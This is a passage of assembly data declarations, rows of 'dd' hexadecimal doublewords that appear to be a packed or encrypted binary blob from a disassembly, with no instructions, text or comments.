		dd 0C665DDC0h, 7E9C3490h, 6B7909D4h, 68835BE4h,	0BBE08FC1h
		dd 1858DEFDh, 0C00F0568h, 0D4E4CA60h, 2B7F02A4h, 1780B5A8h
		dd 48230E0h, 0A96971Dh,	39423D4h, 7FCF6F7h, 983E80EAh
		dd 876E4E30h, 90B9D2D8h, 1C0E3C76h, 0DEE63D5h, 275EC094h
		dd 53AF0160h, 0F5327FE7h, 0A9CC3052h, 0DE4E7B00h, 0C293851Bh
		dd 0B1CE0184h, 24E0819Fh, 0F86BDCCFh, 8F45A18h,	0D219F0h
		dd 7992E7E6h, 221B9ED3h, 35542900h, 0E0211708h,	999502F2h
		dd 84A79752h, 860B4468h, 65041500h, 9E68EC6Fh, 0FE8700F6h
		dd 998FCA8Ch, 2800FC4Dh, 9357A92h, 77DC0C16h, 6F9A29FDh
		dd 58C302ECh, 2068127Fh, 0D415A4B7h, 0ECC435h, 8B3B6C34h
		dd 0F661E6h, 5621B8DCh,	4042880Dh, 0C4F88717h, 10B60C49h
		dd 48A23F70h, 0E85A9330h, 86580191h, 29D6CD18h,	49CC20h
		dd 66D198FEh, 0AB9C8B2Fh, 85B261Dh, 546A94C0h, 0BC0E4EE2h
		dd 3B4800B4h, 292D02BDh, 2F05A30Eh, 37CD0074h, 904D3925h
		dd 20750Ch, 0B694BBF9h,	5DE5D058h, 439D6000h, 2F2DD856h
		dd 371D00F5h, 0BACA15F4h, 33005991h, 92F14AFBh,	6FE874h
		dd 0A71AB1E4h, 5FA3A5FEh, 0AD3D3Bh, 30C986B6h, 3E1F2A08h
		dd 0C801340Eh, 0A004BA81h, 60D5CC19h, 75485300h, 0A69E6745h
		dd 77E37583h, 4CBD003Dh, 5411D0F0h, 2400FD16h, 1FCC7712h
		dd 0E2A49FB2h, 0DC6800CEh, 4654418Bh, 0CA00F9EAh, 7003D72Ch
		dd 51D169h, 8DDA5DFEh, 303ED35Ch, 9264F600h, 4E813B6Bh
		dd 0B7900331h, 0AE1ECCCEh, 0E357FA98h, 0FE8D4C00h, 0FFB9CA17h
		dd 19E628C3h, 7F720081h, 0BC4BE074h, 63761EB4h,	0FB466800h
		dd 0A3025930h, 23190F57h, 6BA0AF18h, 99143CC0h,	25603Bh
		dd 0FF374639h, 0D6CC64h, 8EAED257h, 51DDD03Ch, 2DE6A400h
		dd 70AC6EFh, 0B35A01F5h, 0F94D4689h, 9788DC81h,	4239DD07h
		dd 0D560D75Eh, 0EC667E35h, 0BDEB0006h, 310B734h, 53000BCCh
		dd 946AC384h, 7CAC49h, 0FBE01FBCh, 6EA98CCFh, 0EDE43600h
		dd 131DAA4Ch, 49710A8Ah, 0CA3BDCh, 6296F4CFh, 90193E5h
		dd 78C73D1Fh, 0D0F17B28h, 0BFA0A02Ah, 0FAB75C12h, 0D2960000h
		dd 796FE5h, 0A924EDAAh,	0C47B881h, 0CA3A5800h, 2D979880h
		dd 90D00072h, 0DD9CD7BEh, 0ED0161BAh, 4CF7E239h, 3FC44876h
		dd 767F8C5h, 0F53B888Ch, 4BE6D0CBh, 0C000373h, 0D3941033h
		dd 58E371h, 3E2AC763h, 1BFA5519h, 0D9F52500h, 7D1EA637h
		dd 0ED6000BAh, 6439C404h, 5000E7Fh, 48D79306h, 3D27AB16h
		dd 12BF0D78h, 0A92B680h, 3CB3F950h, 0F2E2CF03h,	9794C519h
		dd 0FBDF80EEh, 24805224h, 0BF3D12h, 2D6F0206h, 51001333h
		dd 40CEBE27h, 1FFCE86Eh, 80DD4CB0h, 5F4FDAA4h, 0FF006690h
		dd 0EDBF930Fh, 8CF63Ch,	0DE37A02h, 6FD7A848h, 5AF4C501h
		dd 1210E0FFh, 1E49D441h, 5B240884h, 5A0AC0D3h, 0F6749C63h
		dd 677C010Ch, 3A9D2119h, 3860FF28h, 6BFE2162h, 0C11653Ah
		dd 183F87A7h, 0B7108064h, 31B7C03h, 0E367A5C4h,	623800FAh
		dd 0BFD328Fh, 8A0A9DCBh, 30897D6Bh, 9C334500h, 61341EA5h
		dd 0F4D569FCh, 9BA93040h, 0DA33A900h, 0FAD2DE8Fh, 77FE0A41h
		dd 1E20517Dh, 8EF8C065h, 0D754B312h, 0AB02D624h, 39EC3C00h
		dd 0B72A4Ah, 0E0D83D7Eh, 5585F5A0h, 0FC57E516h,	0FEFD1200h
		dd 0C6BF034h, 4004E612h, 920F6818h, 6382196Dh, 0BF678F13h
		dd 4A9656D7h, 0FD2B1520h, 1301DC6Bh, 0C592B1C4h, 0F308030h
		dd 0DA8DBBA7h, 0C2FB0C60h, 41186421h, 4F61567Bh, 4475FA40h
		dd 2F250E0h, 0DA7E05A7h, 220E3695h, 0A0287FCDh,	4A719FD4h
		dd 0D8461EE7h, 31906A26h, 0FC2125B6h, 4189861Fh, 505117E6h
		dd 3186F511h, 0C2D12BDDh, 3140C676h, 4730F01Fh,	9FEA4126h
		dd 23D40D1Ch, 0F048099Eh, 540C0E60h, 714952C3h,	1137CB1h
		dd 3EB9617Bh, 0A0F4F667h, 24FE6060h, 0C856BD00h, 9BFE1CCh
		dd 6CDA00FDh, 1DBBFB55h, 1C035CD0h, 0A5CD0C45h,	50C990A8h
		dd 6E310B4Ch, 5EF091ACh, 0ECA0E900h, 0CBC7B8FEh, 0CA1F0051h
		dd 0B61CC6CCh, 0B900C555h, 0B509AE7h, 5456F7h, 7DD1BBEh
		dd 1FC79146h, 0C3005698h, 0F4094CE2h, 72DB257h,	90A30B92h
		dd 4F6CFE5h, 8094F642h,	6AA2E473h, 0D5FFB70Eh, 0C30F80AEh
		dd 1F52F4DAh, 0C0E59201h, 31D06038h, 0FC006EBEh, 6769FDDBh
		dd 0ADF9FFFh, 8526FEEDh, 74548090h, 18CAD133h, 677A1E00h
		dd 5A6492FDh, 2B4B00C9h, 6B31786Ch, 0FB0E255Ch,	0E1D7B802h
		dd 1D9BB560h, 0A6126424h, 0B651904h, 0C4A810E3h, 500BA93h
		dd 0DA16F044h, 5070FDFAh, 2465E888h, 680F97Ah, 299D32A7h
		dd 0A811F442h, 2284798Ah, 58229E9Bh, 891D2211h,	7963244h
		dd 0C3FB470h, 0B875D028h, 0AF3BF843h, 3B6600D0h, 0B342D15Ah
		dd 64E4001Bh, 4DD661D3h, 1100F10Dh, 0FE79BCA3h,	249E9725h
		dd 0B22DB05h, 8400DAF3h, 0B666415Ah, 64F18B60h,	0C09104h
		dd 48545861h, 96665577h, 0E4A97300h, 129E87B8h,	0BABE0057h
		dd 6F82B631h, 2F00B262h, 4809AEDCh, 1E6C8AC5h, 0C09275F2h
		dd 311B5090h, 4F009A36h
		dd 0BC81017h, 5C02C4D4h, 0E4004C07h, 0EC1FA805h, 8A004585h
		dd 9F6F5682h, 0B46532h,	5179D153h, 9B5D2D57h, 6904103h
		dd 0A075F7D2h, 0C02733B3h, 10600DB8h, 0A73B6C50h, 7A998011h
		dd 540892B8h, 61A50081h, 849FFEE7h, 0DCB01838h,	60882651h
		dd 0BB006077h, 39068D7Eh, 2C0E9257h, 2857B5F7h,	379B00F6h
		dd 551360A7h, 0F503DB8Bh, 976C957Ah, 47C7B079h,	0AB9D004Dh
		dd 2F1F4113h, 0FB00A8E7h, 0B36B955h, 403D8h, 80857F4Ah
		dd 0AA9C77B6h, 0BE006DE0h, 81874974h, 3A1106B9h, 0A687E28Dh
		dd 61895A85h, 6090F24Dh, 42120D6Ch, 0DE008AD9h,	0B213863Bh
		dd 0EB5F00A6h, 320B28F7h, 620E03F3h, 0E122371Ch, 3E09DECCh
		dd 2D60CC35h, 39E23B9Dh, 9E069183h, 859816D8h, 3C0EB075h
		dd 6003ACF8h, 57C164AAh, 396B0314h, 86D474CBh, 0F433D3F8h
		dd 18281779h, 0F52E8AABh, 6300048Ah, 1E0CBE75h,	51B2B02Ch
		dd 88F4AC54h, 4F370F53h, 8F05551Bh, 45E8032Eh, 0A9E8F4ACh
		dd 3663C7C3h, 0D07E5E20h, 3E9528D3h, 180AAA8h, 68BBC220h
		dd 8D00B0BDh, 8B7ED421h, 392BD9h, 52D2FE5h, 1D89FC98h
		dd 9E7A9000h, 4125EE54h, 2B18049Ah, 80E3B16Eh, 0FFF2CB48h
		dd 0C1B5B700h, 2843C76Bh, 21A40053h, 608F7FE9h,	6F5CE3B4h
		dd 5A007934h, 0D528D61h, 99F1344h, 0FBA7F62h, 0F125B380h
		dd 3703CDE0h, 8A636A42h, 3A11D064h, 55AC3DECh, 9F0091C8h
		dd 740E5A5h, 0FD00B8CBh, 50A43806h, 0B04CD4h, 2AAEB4F9h
		dd 0D5EA22A6h, 430000BAh, 3EA475B2h, 24C05Ah, 3FEB62B5h
		dd 0E583F3D2h, 59276700h, 8F395469h, 21701DBh, 72FD1D13h
		dd 3A0CE4D4h, 5BA7CE07h, 0C8300DC1h, 0E6D0D63Ch, 36C4026Ah
		dd 0B5790EDBh, 714CB8A7h, 60B26FE8h, 5C1255E2h,	64803E0Dh
		dd 1B86BC69h, 105650ACh, 0D2139CE0h, 0B21C9600h, 0D695C10h
		dd 4ADD00D0h, 9F5FC42Bh, 53009873h, 71FC1593h, 64AD05h
		dd 865AC0F5h, 0D9DC4D7Dh, 0EE00457Eh, 0F9830B4Ch, 32568h
		dd 0C61215A9h, 0A13988DCh, 95276F00h, 0E24E9ED0h, 82551CA5h
		dd 933B40EFh, 989B3872h, 1F153300h, 4AC328C9h, 0E5C801A2h
		dd 7A688934h, 367BE461h, 0EA4048C3h, 0F8BBE6h, 0F1D33140h
		dd 9E777DA0h, 332ACA3Dh, 0E7FAE4B3h, 33EC8A80h,	5A210011h
		dd 92228690h, 160B29E0h, 0AA882B9Fh, 740982B8h,	0BA9DC79h
		dd 1D00F78Ah, 263A0FE3h, 919A7806h, 0E2DEF003h,	16A10190h
		dd 5731C20Eh, 39242063h, 0DF54E600h, 60CA1B44h,	0C0C04C33h
		dd 0A1811A00h, 654EE158h, 0B2B31C00h, 6B809B8Fh, 2AE92430h
		dd 3F541E78h, 0C0B11F92h, 3869F08Ch, 0F4AF4909h, 0E6BC20C9h
		dd 29C14E1h, 0D187B24Bh, 0B062A55Eh, 0B0AC880Ch, 15030800h
		dd 4BB6B1A3h, 24C500ECh, 8D3AD01Fh, 2958DC3Bh, 0B9050051h
		dd 173D7F9Ch, 248007BDh, 80215DA5h, 3A92E233h, 0FAB08B00h
		dd 20AE312Dh, 462F1C8Eh, 0ED35C0C8h, 4F91BBBh, 0C2153000h
		dd 4B4A60D6h, 0B646006Ah, 2F26229Fh, 0DA0055B7h, 8D0DAF19h
		dd 0CE40C9h, 838C363Dh,	0F00A3129h, 0BCBD910Fh,	0B9434163h
		dd 0F435A238h, 241C7630h, 40940129h, 6A97BD09h,	5E592400h
		dd 2126AF5Ch, 79013DCh,	40141214h, 0A4CD3AD4h, 4600C254h
		dd 0F94922DFh, 0FD69043h, 0F23CD12Ch, 12337242h, 42DE2860h
		dd 51C94500h, 49173963h, 0C2690094h, 0F2A30629h, 6E011152h
		dd 0CADC34F3h, 0C960EF51h, 0D87950C1h, 312C06Dh, 9639EC5Fh
		dd 53BE3Ah, 5B791ECAh, 0C3C213h, 1FF4CBD1h, 4A14EEB3h
		dd 0FFF17E00h, 92F915DDh, 0C3290013h, 0D7962B19h, 0B103306Dh
		dd 0E84E824Fh, 0B5EB8EAh, 7BFD00C4h, 0A9BC7050h, 0BB09F14Dh
		dd 8021805Bh, 2AA2B902h, 9D741FBAh, 0A9FEC373h,	0F298542Bh
		dd 0CE5818F0h, 570A0574h, 0D7C1EBF6h, 38D06FC1h, 0B5915050h
		dd 7D9202FBh, 2256300Eh, 4EDFAF40h, 0D285E300h,	2E67E0E4h
		dd 31883A68h, 8064F400h, 0F8229770h, 0A302C302h, 809CA7BEh
		dd 3E61A6EAh, 0EC9B0273h, 55E4D59Fh, 0C3017C50h, 0A8F0F431h
		dd 3ACC40DAh, 0C0150FE2h, 66A07C2Dh, 0E8D9A6E4h, 0CB8D703h
		dd 8881945Ch, 3F37D9Ch,	0BA8C10AAh, 3E7D274Fh, 0BD284BE6h
		dd 0EA3FE822h, 1232025Ah, 0E8305FF6h, 3B1968h, 0E92DAC8Dh
		dd 4B81DF2h, 3A804B02h,	633DC207h, 0ECA0D870h, 2532039Bh
		dd 97DCFD36h, 0D8F6D0D7h, 300FCFE3h, 0ABB95D8Dh, 3080DD46h
		dd 0A50FB429h, 14D400BFh, 4FCCFF9h, 868B4744h, 1605C077h
		dd 0B800634Fh, 822B03C5h, 1FCA2E9Ah, 0A34A49h, 88CC9F4Bh
		dd 33E1F2Fh, 3438A4DBh,	8001BB38h, 995E0D04h, 1C329D77h
		dd 1E109A7Bh, 274712A5h, 0E4895068h, 0BA000114h, 8EBC431Ch
		dd 9DA83Ah, 0A27A94Dh, 5EE9195Fh, 8379463Eh, 70AE11DEh
		dd 260ED074h, 3F7983h, 528A2F80h, 47257242h, 5CFF210Bh
		dd 0EB805598h, 0D9F9C929h, 9004CB4Ah, 4B80FC87h, 0ED416EFh
		dd 23CC6CABh, 0C91080D6h, 8600DD5Ah, 1B9A046h, 7920AC1h
		dd 23AD708Bh, 0F50630EFh, 4A0E87C2h, 24407ED1h,	8CC0D6A7h
		dd 3CD7FC9Eh, 0B801567Fh, 680A334Ah, 0EFC1CCEAh, 1AE80800h
		dd 0D0628D80h, 822218C9h, 1323E037h, 0A32B3Fh, 0BEA4EF3Dh
		dd 380547h, 0D2C90C1Ch,	9E495D0Eh, 81309B00h, 0D922621Ah
		dd 0E5AD00C4h, 0D266B1B7h, 52003AA5h, 5E76FCEBh, 90026FDAh
		dd 0B7510077h, 29D8E18Eh, 7A00911Ch, 36B2779Fh,	1DC7666h
		dd 424F0DF5h, 0F848FC6Dh, 90A0A59Ch, 0BCB89664h, 4A090800h
		dd 12A0CBBAh, 0B372003Ch, 0F99845DBh, 0F4005749h, 0EFE37523h
		dd 5C60F1A2h, 0D780649Ah, 0A715A508h, 59004C7Dh, 0C00DD8B6h
		dd 3EC4E763h, 0CC80DDB4h, 61BB812h, 251A40C7h, 0C0287746h
		dd 30445E73h, 55107679h, 0E33D6494h, 80338129h,	16E2A467h
		dd 0B423C880h, 0D12D31B8h, 0C8288E01h, 0D3825477h, 0A6E2F851h
		dd 104E8C0h, 99DE7D38h,	70CFFA7Eh, 3209AB40h, 8D8A3Ah
		dd 1F3D7813h, 0C4A40059h, 6B946809h, 0C87AEE7Fh, 0B47C6200h
		dd 5DA6FA14h, 0E01F000Bh, 0A7FE3964h, 11C8ED55h, 57C00441h
		dd 590F12h, 4293D58Dh, 0A63E0035h, 8EFD6680h, 0B70044A4h
		dd 8AC5C1B0h, 9687A5h, 625C469Bh, 500EC68Fh, 0BE660C03h
		dd 0C7807CE0h, 92FD55E0h, 0EC8E0193h, 887D3C7Bh, 3BD8D8AEh
		dd 0D102A57Eh, 9C0B44E0h, 1096E0A7h, 4669009Eh,	0DAFE497Dh
		dd 0D800DF25h, 9D1D234Ch, 7EC9E047h, 0F9E30401h, 0C79C6310h
		dd 0A4E9199Fh, 45D08766h, 0C4E47365h, 4F7CE4F4h, 5BA04C53h
		dd 7A00F838h, 128E4666h, 7BC6C3h, 0A96E974Fh, 51FE05BBh
		dd 56CA20F9h, 0CF0307F2h, 0DD34871Ch, 3F1AC840h, 3D5E0024h
		dd 6A8BF60Fh, 0C000CDE7h, 492DDF2Ch, 480537h, 0B4FC636Bh
		dd 2E54574Ah, 4543360Ch, 9FB9044h, 0E95024F0h, 41D84CAh
		dd 40A9448Bh, 0C90F68h,	27762E66h, 59EA32AEh, 7045D62Eh
		dd 0E33BF881h, 2FE8B58Eh, 0E6D058A5h, 0B906FF00h, 10343AEEh
		dd 90E87A1Eh, 0B5F81C80h, 294B08Ah, 0B9AFE5D2h,	9FE00C65h
		dd 0D7005145h, 2621C27Dh, 0F0EF30h, 0A3A5E69Dh,	819641E7h
		dd 0F5544D00h, 3F4C9EBh, 331A00AFh, 95487313h, 0D800D2C1h
		dd 11579C01h, 0F25C8B22h, 0C93C0081h, 0FFD345Eh, 3300E9DFh
		dd 69EBAB35h, 4A75B3h, 4F7AE29Ch, 0A7C4CEF3h, 6833981Ch
		dd 20C2BECFh, 25AE422Ch, 2F130155h, 8A3BEFECh, 0EC503179h
		dd 3501A921h, 0C7975A81h
		dd 32D0AFC5h, 0B112006Fh, 0E5DEECAAh, 1B004F1Fh, 0DD371177h
		dd 38049C0h, 0EDA59FE8h, 2100E32Bh, 6A20127Ah, 0A001A198h
		dd 30BFF788h, 0F521C6F1h, 0D4004719h, 96783A7Ch, 498A0E71h
		dd 0AC00DCDDh, 0EB197215h, 3600F74Dh, 0CEBF5A1Eh, 8A1040h
		dd 3A0EA516h, 0B7FE84DCh, 0C5BEAD00h, 5D6FF68Eh, 6EF8A1F8h
		dd 0B2069872h, 3018CE31h, 0DEB16A00h, 34A51F3h,	7C703997h
		dd 75F5EF80h, 17E19D59h, 40F9DCFCh, 88618A88h, 8CDED179h
		dd 7F993D00h, 0EFA492h,	0C97F2DCh, 8E0A9A38h, 2B764F12h
		dd 86553843h, 0A8B7AB0Eh, 3F654948h, 36804CD4h,	0D3FC5791h
		dd 0B8F2F6F5h, 0E8446301h, 0BE394F83h, 0CF200475h, 0F432000Eh
		dd 0B3822DAAh, 65001D0Fh, 0F6A9E911h, 77CA0298h, 0D086053Bh
		dd 0C0227A8Fh, 97C35052h, 0C762A00h, 534717D8h,	0E4B57728h
		dd 0F94B000Ah, 4F27DB79h, 0FA1C09B6h, 49879215h, 0D3825C89h
		dd 2ACC8205h, 135FE0BDh, 87830BD0h, 530075A0h, 7CF0E1D1h
		dd 0D2416E26h, 0CD032116h, 0E05BDC7Ah, 0B00824A9h, 0ACA3A9Eh
		dd 8FA46E00h, 6A6C33F6h, 92097003h, 0CA654C66h,	4F4CD864h
		dd 0AA48072Ah, 8911B059h, 0F496813Ah, 5E18FE50h, 6A66A080h
		dd 0F104B501h, 0E2C219F0h, 0D803302Ch, 8F60DB62h, 0A5C03780h
		dd 0BCBDFB00h, 0FCCCE7A7h, 51803E0Ch, 9FF53200h, 35965D4Fh
		dd 737FF805h, 0EC0CBB6h, 26A0AF4h, 1DEC23B4h, 1C60DE9Fh
		dd 0E30054C8h, 0FDCC1A42h, 2189C0Eh, 393DDBBBh,	1860B1A5h
		dd 0FC01C1FEh, 4CB3063h, 31C4B48Dh, 0A5540040h,	87884639h
		dd 7A1EDB76h, 5B45B259h, 48A0AAD2h, 826F0BB7h, 0A18164ECh
		dd 407F5432h, 8D351B86h, 970096E4h, 2365B090h, 48813B03h
		dd 89006446h, 0F2EB1ADAh, 0D4075878h, 960E6F83h, 0E4DFAFF0h
		dd 378E003Bh, 7EF3C08Ch, 4803539Dh, 0AB3A61CCh,	19D4F043h
		dd 50572E97h, 74F60B1Ch, 210EEC68h, 3730470Eh, 0CB00337Ch
		dd 18C71BC9h, 2A52004Ah, 0C0EBF961h, 0DE986029h, 55900B61h
		dd 0A6F8E10Eh, 0C3D01F24h, 802800EEh, 1CD9547Fh, 976B1E00h
		dd 3B7BE55h, 0F3570018h, 0A375D75Bh, 630B9EBh, 0FE7F482Ch
		dd 27AA0092h, 7123C098h, 5FCC309h, 532A0C00h, 2272DD10h
		dd 46520081h, 0B1F76BDEh, 4CF8A0ABh, 39ED6800h,	88B4F080h
		dd 74C900FAh, 26BD3D37h, 2F00F3C3h, 0A2B290FEh,	95610103h
		dd 0A60518E0h, 3D36D21Eh, 4AC0AA9Dh, 3481B1C7h,	7F407524h
		dd 0AF9A00DDh, 0EC561C31h, 7D00CA58h, 5EA0E03Eh, 7E5D09Fh
		dd 0BABEE13Ah, 850830EDh, 0E0263B8Dh, 228008E2h, 0AD29DC0Ah
		dd 11F20086h, 0F68D88C9h, 8E98313Fh, 82D8051Dh,	46CBB200h
		dd 2E83391Bh, 39855C0h,	4D527908h, 0B650EBE0h, 0A7000494h
		dd 0E39F5773h, 4E85808h, 29288305h, 378500F9h, 4CF0C6F2h
		dd 278EF700h, 0C0AF73F6h, 1EF50182h, 446C4B69h,	0FCC42536h
		dd 0D4FD27EDh, 0B5058847h, 577F0F11h, 6AC205C1h, 0C07F02Ch
		dd 70945C3Ah, 95C9C78Fh, 9B07377Bh, 6AC114D6h, 1511BCh
		dd 0E9833EC6h, 3CE4C91Fh, 5801EA90h, 0F133EEBFh, 0E1E480C4h
		dd 6D2D02A3h, 67039888h, 0AB0070F0h, 0FDFDC0Bh,	38C4E5h
		dd 1CF0052Dh, 0F714E76Eh, 5C8DDB00h, 0E8832A89h, 0FF3817C8h
		dd 856D07F1h, 5D2C51B0h, 11E020A8h, 0A4AF38h, 0AAB21CF7h
		dd 3E9DD1h, 0ABE684C2h,	21ACA942h, 0DA025900h, 67EECC6Bh
		dd 0A2990082h, 5D2D762Ch, 618BADDh, 95114898h, 7B5A00B7h
		dd 0E56C1C86h, 0CC04B00Bh, 543659DCh, 0D5A51780h, 2406E613h
		dd 289E07h, 1F28FFACh, 0AF00EABCh, 0D122633h, 19DFDAh
		dd 0D13B1A1Bh, 466896Dh, 86CF7100h, 4C2210A7h, 83B8C6h
		dd 0DA98B87h, 0CD6F54E8h, 100DBF0h, 8FBA02C8h, 0CE2F47h
		dd 17112450h, 73B89E71h, 0D1C58C00h, 84DB3F46h,	0DCEE0022h
		dd 9E4D982Fh, 675863FBh, 1BC00EFh, 9211C053h, 0EDD03E7h
		dd 7747C513h, 1CF10788h, 6409A700h, 3A6846FFh, 54FC0016h
		dd 0C7283E31h, 0AA000E45h, 0EA490225h, 300B4Dh,	0D575C5D1h
		dd 7843AC4Bh, 314C80Eh,	0C0B06E1Ah, 0C06261CAh,	0AFF726A3h
		dd 0AC803896h, 7AC72999h, 581E1D4Bh, 0BC0BBBABh, 59A0A008h
		dd 70D318F1h, 37DE0036h, 247593A5h, 1E263823h, 0CABA58E1h
		dd 7787FC2Fh, 0C79C6265h, 94108451h, 5A1D0BC8h,	84B29ED2h
		dd 93009F88h, 9DD433CEh, 1234011Eh, 0A261BC9Eh,	0A7FB0011h
		dd 0C9D34A64h, 0E404D294h, 7C66A4A0h, 0BC603A11h, 0AC7C0E02h
		dd 0D8519D30h, 0D7F52B00h, 264A20F7h, 23DECBh, 0E76B781Eh
		dd 0CA005EC7h, 89448B1Ch, 39631323h, 4069EE9Ch,	10209450h
		dd 0F4440190h, 0BAFADA6Fh, 0CDE3E350h, 5651CAh,	85FB9300h
		dd 485EACh, 67B73BFCh, 9905DFD1h, 0BFAC3C50h, 1FCAE500h
		dd 0B7EC19DEh, 95120F7Bh, 0D4E16CBBh, 70E6069Ch, 0E2041F27h
		dd 2791F0A4h, 395900C1h, 0EACBD840h, 79B30097h,	0A2D83509h
		dd 800E2ECh, 0E80726F0h, 45DCD2h, 7B11988Bh, 72DFB81Bh
		dd 3C273000h, 0F697E989h, 52942C34h, 5A50112h, 0F875E7FCh
		dd 3700F84Ah, 0F17135Ch, 2D3D3Ah, 0B354D6CCh, 58E280A3h
		dd 63D9198h, 3124C967h,	609BD6EAh, 993599EBh, 72BDE8h
		dd 79657D57h, 6A24F89Eh, 2FF09A14h, 9CEA0AC4h, 1DBFFC1Fh
		dd 0AD028D7Bh, 0A22C63D0h, 56C67CF4h, 0EE3D00BCh, 733A3E48h
		dd 5B572000h, 9BA6A8EFh, 7881017Fh, 7DD76DC5h, 7E319CDAh
		dd 8FFDAC5Dh, 60A581CCh, 0D46F95Ch, 90684BD0h, 8F44F2D0h
		dd 0E5807D00h, 0CDD91ABh, 966700A5h, 9D476233h,	0DA617315h
		dd 2D64D828h, 0A6F5A880h, 0BE5DD07Ah, 0B8625C00h, 3EE9BC28h
		dd 81CD677Eh, 0F44F30E5h, 0D700C060h, 6C448320h, 0FC46FC8h
		dd 0D001CEA6h, 4422CAh,	5188D792h, 0C0943F64h, 0CCAA2900h
		dd 3EF32775h, 7B001A95h, 479092E0h, 690F6E46h, 4F10F145h
		dd 0B50A20FAh, 3260333h, 0EC44B71Ch, 0D2906AABh, 0A2033980h
		dd 0A3C12C20h, 47CC5DDh, 0A7B43502h, 0D04C8010h, 0AB488B42h
		dd 7184003Fh, 78F8BFF4h, 0CF023BC3h, 54A3C503h,	2911FE2Eh
		dd 5A00F083h, 62118667h, 6000A0Dh, 959198EAh, 48782D03h
		dd 0EB175B1Dh, 6E640FA5h, 0AFFD0A40h, 443D9942h, 8C20022h
		dd 0F03FBFB9h, 35390EDh, 0D21CA369h, 19E3BC31h,	0E0A0DAE8h
		dd 5BD8C01Eh, 12FC7DC0h, 930E2Dh, 9DD02896h, 0C6A02644h
		dd 200010EAh, 0C768FD71h, 8F3D09h, 90032BDEh, 55460C65h
		dd 8AAB2400h, 4BEA1D96h, 0CF9C0093h, 1A1C54AAh,	0CE0E3BA0h
		dd 202786E7h, 8E4F803Eh, 0F666001Dh, 0FDAFDCDDh, 0C11C3199h
		dd 80BE0F64h, 0B7F76E16h, 5BE7F54h, 2D07D0EDh, 51B400CAh
		dd 0D73F7DBCh, 4A3D0B07h, 7CF04E1Eh, 0CF6CFFh, 7BE36E48h
		dd 380BE1E5h, 16B7E900h, 893D6553h, 22000A9h, 0D5959A5Ch
		dd 5500BC24h, 8AF9EB79h, 7CCD5448h, 0A8CF0085h,	52D36F08h
		dd 0E01CE90h, 0DC5B4D50h, 16F86487h, 76990F5Dh,	7E606235h
		dd 0C50526EFh, 39CC0B1Ch, 992E65C0h, 0AF4268h, 0B0FA13FFh
		dd 86412C5Eh, 4B7EBE00h, 1F90C102h, 0D9980F8Dh,	19E0B403h
		dd 0E1A4A3F3h, 22475B00h, 4AF9E590h, 6CC51F36h,	0A857C71Fh
		dd 0FBE840F1h, 0BE2C48BBh, 3A004407h, 5783D9D7h, 9E470086h
		dd 61E9E551h, 0F09D47Dh, 2B82EC6h, 48E64D68h, 0B30D24h
		dd 1F361B45h, 0EAA8FBEBh, 0B11CEEF2h, 7BDE370Ch, 36791900h
		dd 0BEAB0Dh, 9E1DB045h
		dd 0A25504CDh, 41666B02h, 4062D73Dh, 3A0862Ch, 39B0A968h
		dd 10F82B76h, 4B0002F1h, 62D66A81h, 0F2110BB9h,	2EEE0BCDh
		dd 6980BA3Bh, 694C7728h, 0F5F48900h, 0FD9ADDD1h, 0DBBC03E8h
		dd 87306806h, 0F41146D0h, 9CEE100h, 0D8C53DB5h,	72B890DEh
		dd 0F8E074h, 0ACB84F3Eh, 4ECFD729h, 0B6019200h,	797A8C36h
		dd 8A0D009Ch, 552F9F9Eh, 0FF005A4Ah, 8022D530h,	4861EDh
		dd 24A11075h, 14FE95FAh, 43BAF600h, 3363D30Fh, 0C14837h
		dd 7D3C2E0Fh, 0CC5C8700h, 72E21D1h, 8E00FA60h, 0ED54130Fh
		dd 5043584Bh, 8CF528h, 0CCC1C0C7h, 0AE102511h, 5ED37C0Fh
		dd 9477C0F0h, 0C8D2Ah, 0A1AFD03Eh, 0F63CC21Ch, 1B680A00h
		dd 716E4F51h, 96A514EFh, 720EE0B5h, 810F987Ch, 0DBAFAC20h
		dd 0EF0062F0h, 0BC22D04Ch, 7F346697h, 0FAD924D3h, 708D0968h
		dd 0BE639C05h, 0E4BB3B03h, 0A794F8E7h, 28FE0003h, 101C4925h
		dd 500B66DCh, 5335669h,	55C05AE8h, 71565F6h, 0A818BD62h
		dd 0E9888059h, 0FB00DDE8h, 86222558h, 15B6479h,	8A5A7565h
		dd 7017D2AFh, 1A5C5ED2h, 9DE43FF9h, 8CA62620h, 20013E13h
		dd 88F14F5h, 0E806E020h, 22F912FEh, 0F8EC297Bh,	9201F41Dh
		dd 0CF4DA1E2h, 81FCF731h, 0C415023Bh, 34953240h, 6A47B840h
		dd 3E14D403h, 0C8B33AF0h, 762A5449h, 0A9DE07EBh, 51F69294h
		dd 0EC2D6C07h, 67798746h, 3CA71C00h, 0EC6F6EB1h, 9CF401D0h
		dd 0BA733482h, 0B60464EFh, 6B4F9400h, 3D8E0E22h, 0CCFF00C4h
		dd 2F312E8Fh, 7C0180FAh, 17E27160h, 0AAD43D02h,	94F700BAh
		dd 57A9FEEh, 2090F249h,	0CD00C9E0h, 71919CB1h, 0FCAE6D3Ah
		dd 0AD9D0B86h, 7DDEF2EAh, 0EE06AB00h, 56835h, 177A0128h
		dd 462E5A8Ah, 65F40707h, 1210E742h, 280213CCh, 808359h
		dd 21819B9Dh, 0BDE5032Ch, 0AE8B8E07h, 0B770C27Dh, 2EEE618Ah
		dd 39082664h, 24FF0079h, 13E31BD1h, 1C001267h, 1950EE7Dh
		dd 5F4C93Ch, 0FF6C3530h, 2D84410Eh, 0F4B2BB86h,	0E60F44AEh
		dd 0E03ED630h, 53B54803h, 507DCFh, 8A5B5157h, 0ACD5D939h
		dd 65084B00h, 0EDFEBE22h, 275003Ah, 9CE1040Bh, 94901136h
		dd 47802603h, 0CF96E5B6h, 22BBB2C0h, 46122828h,	708B009Ch
		dd 0CD612A4Bh, 0E27F6734h, 959FD900h, 3DC036F0h, 86E400D4h
		dd 85BC579Bh, 0F300EFDDh, 61FE45CDh, 9ED0FAFh, 6930FD1Dh
		dd 31440C00h, 8B00BB2Eh, 0FF66D9FEh, 1C3B96h, 8DC93E0Eh
		dd 0ED7390EBh, 5CACD224h, 7C326C96h, 0D06868E5h, 0E9280058h
		dd 0CAFFD212h, 9C00A4CFh, 0B8A7A63Eh, 27CEFADh,	0F88FD6EBh
		dd 0A28346C5h, 6EC03B67h, 0E1E4D11Dh, 8AB84001h, 0C54AAB5Fh
		dd 19FBF0h, 87384D6Ah, 0AC5A8934h, 23D42B00h, 0F241B7D2h
		dd 0A65900DBh, 0C08553EFh, 6A15E849h, 0AC2117h,	924B9D12h
